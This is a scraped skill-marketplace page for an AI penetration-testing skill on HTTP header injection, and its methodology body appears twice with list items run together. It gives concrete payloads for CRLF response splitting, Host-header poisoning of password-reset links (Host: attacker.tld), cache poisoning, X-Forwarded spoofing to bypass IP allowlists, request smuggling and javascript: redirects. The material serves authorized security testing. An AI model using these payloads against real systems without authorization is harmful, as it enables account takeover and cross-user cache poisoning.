メニュー
HTTP header injection testing covering CRLF / response splitting, cache poisoning, Host-header confusion, cookie fixation, and proxy / forwarding header smuggling
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Authorized AI penetration testing assistant for web applications, APIs, and infrastructure. Performs reconnaissance, vulnerability assessment, PoC validation, exploit chaining, and professional reporting. Use when the user asks for pentest, penetration test, security assessment, vulnerability scan, bug bounty research, authorized hacking, SQLi/XSS/IDOR/SSRF testing, API security audit, or exploit validation.
Authorized AI penetration testing for web apps, APIs, cloud, and infrastructure. Full kill-chain methodology with PoC validation, vulnerability chaining, and professional reporting. Triggers on: pentest, penetration test, security assessment, vuln scan, bug bounty, red team, authorized hack, SQL injection test, XSS test, IDOR, SSRF, API security, exploit validation, security audit.
Authorized AI penetration testing assistant — full-spectrum security testing with deep exploitation skills and integrated tooling. Use for web app pentests, API security, vuln validation, PoC development, bug bounty, and security assessments. Triggers on pentest, penetration test, security audit, exploit, SQLi, XSS, IDOR, SSRF.
API安全测试的专业技能和方法论
JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
| name | header-injection-testing |
| description | HTTP header injection testing covering CRLF / response splitting, cache poisoning, Host-header confusion, cookie fixation, and proxy / forwarding header smuggling |
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
Header injection turns user input into protocol-level control: response splitting, cache poisoning, session fixation, authentication bypass, and request smuggling all trace back to a server-controlled header value that wasn't normalized. The bug usually lives in middle layers — frameworks that copy a request value into a response header, proxies that trust forwarded headers, caches keyed on something the attacker influences. Treat any user-controlled value that reaches a header as code-execution-equivalent until proven otherwise.
Input shapes that reach headers
Set-Cookie, Location, Content-Type, Content-Disposition, Link, custom X-*Code patterns that enable injection
X-Forwarded-* / Forwarded / X-Real-IP set by an upstream that anyone can spoofX-HTTP-Method-Override and similar method-shaping headers respected past auth layersTransports and parser layers
Location, redirect_uri echoes)X-Forwarded-For / X-Real-IP for IP allowlists or rate limitsX-Tenant-IdContent-Disposition filename derived from user input)Set-Cookie, Location, Content-Type, Content-Disposition, ETag, Vary, custom X-*%0a), bare CR (%0d), CRLF (%0d%0a)%250d%250a) for WAFs that decode once%c0%8d, %c0%8a) — invalid per spec but accepted by some parsers%e2%80%a8 U+2028, %e2%80%a9 U+2029) — sometimes folded to LF by intermediaries%09) — RFC 7230 allows tabs in field values, useful for sneaking past simple \s+ filters%00) — can truncate the header value in some parsersServer, Via, X-Powered-By, X-AspNet-Version, X-Served-By, CF-Ray, X-Amzn-RequestId reveal the stackVary, Age, X-Cache, CF-Cache-Status reveal caching layer and key compositionHost and X-Forwarded-Host precedence: send both with different values and observe which wins in redirects, links, log entriesInject \r\n\r\n to terminate the current response and prepend a second attacker-controlled response. Cache or downstream proxy may key on the first response and serve the second to other users.
GET /redirect?to=foo%0d%0aSet-Cookie:%20admin=1%0d%0a%0d%0a<html>poisoned</html> HTTP/1.1
Request smuggling is the same primitive at the request layer: inject a header that causes the proxy and backend to disagree on message framing — most commonly conflicting Content-Length and Transfer-Encoding, or two Content-Length headers with different values. Backend reads one request, frontend reads a different one; the leftover bytes become a smuggled request prepended to the next victim's connection.
X-Forwarded-Host echoed in a link, an unkeyed query parameter reflected in HTML)Vary manipulation: inject a Vary header to over-fragment the cache (DoS-flavored) or under-fragment it (cross-user serving)X-Forwarded-Proto / X-Forwarded-Host poisoning: backend uses these to build canonical URLs in the response; CDN caches the response with attacker-controlled linksCache-Control injection: flip private to public (or vice versa) to change cache eligibility; inject max-age=999999 for persistent poisoning, or max-age=0 / no-cache to flush — Age is generated by the cache itself and isn't a freshness control, don't bother with it/account/profile.css) by appending a cacheable extensionBackends often trust Host (or X-Forwarded-Host) when constructing absolute URLs — password reset emails, OAuth redirect_uri, canonical link tags. Sending a forged Host produces a reset link pointing at attacker-controlled infrastructure that still carries the victim's reset token.
POST /password-reset HTTP/1.1
Host: attacker.tld
Also test: precedence between Host and X-Forwarded-Host, IPv6 bracketing (Host: [::1]:80), trailing dot (Host: example.com.), and port confusion (Host: example.com:@attacker.tld).
Domain=.example.com or Path=/ to widen scope of an attacker-set cookieSameSite=None; Secure to allow cross-site inclusionMax-Age=999999999 for persistence, or Max-Age=-1 to nuke the victim's sessionThe X-Forwarded-* family is informational — there is no protocol guarantee about who set them. Any application that trusts them past the boundary it controls is exploitable.
X-Forwarded-For: 127.0.0.1 to bypass IP allowlists or rate limits keyed on client IPX-Forwarded-Proto: https to satisfy "HTTPS-only" checks while still using HTTPX-Forwarded-Host: attacker.tld for the Host-confusion variants aboveX-Real-IP, Client-IP, True-Client-IP, CF-Connecting-IP, Forwarded (RFC 7239) — same primitive, different header names; spray all of themX-Original-URL / X-Rewrite-URL (IIS, ASP.NET) — server-side URL rewriting after auth check, classic admin-panel auth bypassContent-Type: text/html into an endpoint that returned JSON; browsers may sniff and render → XSScharset=utf-7 in Content-Type for legacy XSS via UTF-7-encoded payloadsContent-Disposition: inline to switch a download into in-page renderingContent-Encoding: gzip without actually compressing — clients decode-fail and may reveal raw response bytes in error pathsX-Content-Type-Options: nosniff is what enables the sniffing attacks above; the header is a hardening control, not an attack surface — but if a server sets it inconsistently across endpoints, target the ones that don'tLocation: javascript:alert(1) if redirect target is reflected unescaped (browsers usually block, but some legacy clients and Electron-style hosts don't)Location: data:text/html,<script>alert(1)</script> — same caveatRefresh: 0; url=javascript:alert(1) — the legacy Refresh header is a JavaScript-free meta-refresh equivalentReferer echoed into a custom error page, User-Agent echoed into a debug header — combine CRLF injection with a body-injection sinkLocation is the obvious oneRefresh: 0; url=https://attacker.tld — bypasses some Location-only filtersLink: <https://attacker.tld>; rel="canonical" — usually informational but consumed by SEO tooling and some clientsX-Accel-Redirect: /internal/file (Nginx) — if user input reaches this, internal-only files become accessible:method, :path, :authority, :scheme) and regular fields. Servers downgrading to HTTP/1.1 sometimes mishandle pseudo-header values, enabling smuggling across the H2 → H1 boundary.Encoding
%0d%0a) and double-encode (%250d%250a) for WAFs that decode the wrong number of times%0d%0A, %0D\n, alternating caseHeader normalization edges
,; in practice servers pick first, last, or differ from the proxy in front of themMethod and method-override
X-HTTP-Method-Override: PUT (and X-Method-Override, X-HTTP-Method) to reach state-changing handlers when the framework consults the override before applying method-based authorizationHeader name games
X-Forwarded-For\x00Evil) on parsers that stop at NUL%0d%0a (and the encoding variants) into each varying header source; observe whether the second line lands as a real headerX-Forwarded-For, X-Real-IP, True-Client-IP, CF-Connecting-IP against IP-restricted endpoints (admin, rate-limited)X-HTTP-Method-Override paired with state-changing endpoints reachable via POST or GETContent-Length and Transfer-Encoding, two Content-Length headers, malformed chunked encoding, against any frontend → backend pairX-Forwarded-* reflected back but only used for logging — not a security boundary, may not be exploitableLocation: javascript: or Location: data: — capability exists in the protocol but most modern browsers refuse to navigateredirect_uri abuseX-Forwarded-Host in a password-reset or OAuth flow — try first, costs one requestX-HTTP-Method-Override is high-yield against backends that route on it before checking method-based auth — most useful from server-side / non-browser callers (it triggers CORS preflight in a browser, so not a CSRF primitive)X-Original-URL / X-Rewrite-URL against IIS / ASP.NET admin endpoints is still a high-yield bypassHeader injection is fundamentally a normalization failure: somewhere on the request → response path, user input reached a header value without CR/LF stripping or proper escaping. The impact tiers up from open redirect to cache poisoning to request smuggling depending on which downstream component trusts the resulting header. Audit every header whose value moves with input, and treat every X-Forwarded-* / Host trust as a security boundary that needs explicit justification.
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
Header injection turns user input into protocol-level control: response splitting, cache poisoning, session fixation, authentication bypass, and request smuggling all trace back to a server-controlled header value that wasn't normalized. The bug usually lives in middle layers — frameworks that copy a request value into a response header, proxies that trust forwarded headers, caches keyed on something the attacker influences. Treat any user-controlled value that reaches a header as code-execution-equivalent until proven otherwise.
Input shapes that reach headers
Set-Cookie, Location, Content-Type, Content-Disposition, Link, custom X-*Code patterns that enable injection
X-Forwarded-* / Forwarded / X-Real-IP set by an upstream that anyone can spoofX-HTTP-Method-Override and similar method-shaping headers respected past auth layersTransports and parser layers
Location, redirect_uri echoes)X-Forwarded-For / X-Real-IP for IP allowlists or rate limitsX-Tenant-IdContent-Disposition filename derived from user input)Set-Cookie, Location, Content-Type, Content-Disposition, ETag, Vary, custom X-*%0a), bare CR (%0d), CRLF (%0d%0a)%250d%250a) for WAFs that decode once%c0%8d, %c0%8a) — invalid per spec but accepted by some parsers%e2%80%a8 U+2028, %e2%80%a9 U+2029) — sometimes folded to LF by intermediaries%09) — RFC 7230 allows tabs in field values, useful for sneaking past simple \s+ filters%00) — can truncate the header value in some parsersServer, Via, X-Powered-By, X-AspNet-Version, X-Served-By, CF-Ray, X-Amzn-RequestId reveal the stackVary, Age, X-Cache, CF-Cache-Status reveal caching layer and key compositionHost and X-Forwarded-Host precedence: send both with different values and observe which wins in redirects, links, log entriesInject \r\n\r\n to terminate the current response and prepend a second attacker-controlled response. Cache or downstream proxy may key on the first response and serve the second to other users.
GET /redirect?to=foo%0d%0aSet-Cookie:%20admin=1%0d%0a%0d%0a<html>poisoned</html> HTTP/1.1
Request smuggling is the same primitive at the request layer: inject a header that causes the proxy and backend to disagree on message framing — most commonly conflicting Content-Length and Transfer-Encoding, or two Content-Length headers with different values. Backend reads one request, frontend reads a different one; the leftover bytes become a smuggled request prepended to the next victim's connection.
X-Forwarded-Host echoed in a link, an unkeyed query parameter reflected in HTML)Vary manipulation: inject a Vary header to over-fragment the cache (DoS-flavored) or under-fragment it (cross-user serving)X-Forwarded-Proto / X-Forwarded-Host poisoning: backend uses these to build canonical URLs in the response; CDN caches the response with attacker-controlled linksCache-Control injection: flip private to public (or vice versa) to change cache eligibility; inject max-age=999999 for persistent poisoning, or max-age=0 / no-cache to flush — Age is generated by the cache itself and isn't a freshness control, don't bother with it/account/profile.css) by appending a cacheable extensionBackends often trust Host (or X-Forwarded-Host) when constructing absolute URLs — password reset emails, OAuth redirect_uri, canonical link tags. Sending a forged Host produces a reset link pointing at attacker-controlled infrastructure that still carries the victim's reset token.
POST /password-reset HTTP/1.1
Host: attacker.tld
Also test: precedence between Host and X-Forwarded-Host, IPv6 bracketing (Host: [::1]:80), trailing dot (Host: example.com.), and port confusion (Host: example.com:@attacker.tld).
Domain=.example.com or Path=/ to widen scope of an attacker-set cookieSameSite=None; Secure to allow cross-site inclusionMax-Age=999999999 for persistence, or Max-Age=-1 to nuke the victim's sessionThe X-Forwarded-* family is informational — there is no protocol guarantee about who set them. Any application that trusts them past the boundary it controls is exploitable.
X-Forwarded-For: 127.0.0.1 to bypass IP allowlists or rate limits keyed on client IPX-Forwarded-Proto: https to satisfy "HTTPS-only" checks while still using HTTPX-Forwarded-Host: attacker.tld for the Host-confusion variants aboveX-Real-IP, Client-IP, True-Client-IP, CF-Connecting-IP, Forwarded (RFC 7239) — same primitive, different header names; spray all of themX-Original-URL / X-Rewrite-URL (IIS, ASP.NET) — server-side URL rewriting after auth check, classic admin-panel auth bypassContent-Type: text/html into an endpoint that returned JSON; browsers may sniff and render → XSScharset=utf-7 in Content-Type for legacy XSS via UTF-7-encoded payloadsContent-Disposition: inline to switch a download into in-page renderingContent-Encoding: gzip without actually compressing — clients decode-fail and may reveal raw response bytes in error pathsX-Content-Type-Options: nosniff is what enables the sniffing attacks above; the header is a hardening control, not an attack surface — but if a server sets it inconsistently across endpoints, target the ones that don'tLocation: javascript:alert(1) if redirect target is reflected unescaped (browsers usually block, but some legacy clients and Electron-style hosts don't)Location: data:text/html,<script>alert(1)</script> — same caveatRefresh: 0; url=javascript:alert(1) — the legacy Refresh header is a JavaScript-free meta-refresh equivalentReferer echoed into a custom error page, User-Agent echoed into a debug header — combine CRLF injection with a body-injection sinkLocation is the obvious oneRefresh: 0; url=https://attacker.tld — bypasses some Location-only filtersLink: <https://attacker.tld>; rel="canonical" — usually informational but consumed by SEO tooling and some clientsX-Accel-Redirect: /internal/file (Nginx) — if user input reaches this, internal-only files become accessible:method, :path, :authority, :scheme) and regular fields. Servers downgrading to HTTP/1.1 sometimes mishandle pseudo-header values, enabling smuggling across the H2 → H1 boundary.Encoding
%0d%0a) and double-encode (%250d%250a) for WAFs that decode the wrong number of times%0d%0A, %0D\n, alternating caseHeader normalization edges
,; in practice servers pick first, last, or differ from the proxy in front of themMethod and method-override
X-HTTP-Method-Override: PUT (and X-Method-Override, X-HTTP-Method) to reach state-changing handlers when the framework consults the override before applying method-based authorizationHeader name games
X-Forwarded-For\x00Evil) on parsers that stop at NUL%0d%0a (and the encoding variants) into each varying header source; observe whether the second line lands as a real headerX-Forwarded-For, X-Real-IP, True-Client-IP, CF-Connecting-IP against IP-restricted endpoints (admin, rate-limited)X-HTTP-Method-Override paired with state-changing endpoints reachable via POST or GETContent-Length and Transfer-Encoding, two Content-Length headers, malformed chunked encoding, against any frontend → backend pairX-Forwarded-* reflected back but only used for logging — not a security boundary, may not be exploitableLocation: javascript: or Location: data: — capability exists in the protocol but most modern browsers refuse to navigateredirect_uri abuseX-Forwarded-Host in a password-reset or OAuth flow — try first, costs one requestX-HTTP-Method-Override is high-yield against backends that route on it before checking method-based auth — most useful from server-side / non-browser callers (it triggers CORS preflight in a browser, so not a CSRF primitive)X-Original-URL / X-Rewrite-URL against IIS / ASP.NET admin endpoints is still a high-yield bypassHeader injection is fundamentally a normalization failure: somewhere on the request → response path, user input reached a header value without CR/LF stripping or proper escaping. The impact tiers up from open redirect to cache poisoning to request smuggling depending on which downstream component trusts the resulting header. Audit every header whose value moves with input, and treat every X-Forwarded-* / Host trust as a security boundary that needs explicit justification.
record_vulnerability when running inside the penkit51 platformrecord_vulnerability when running inside the penkit51 platform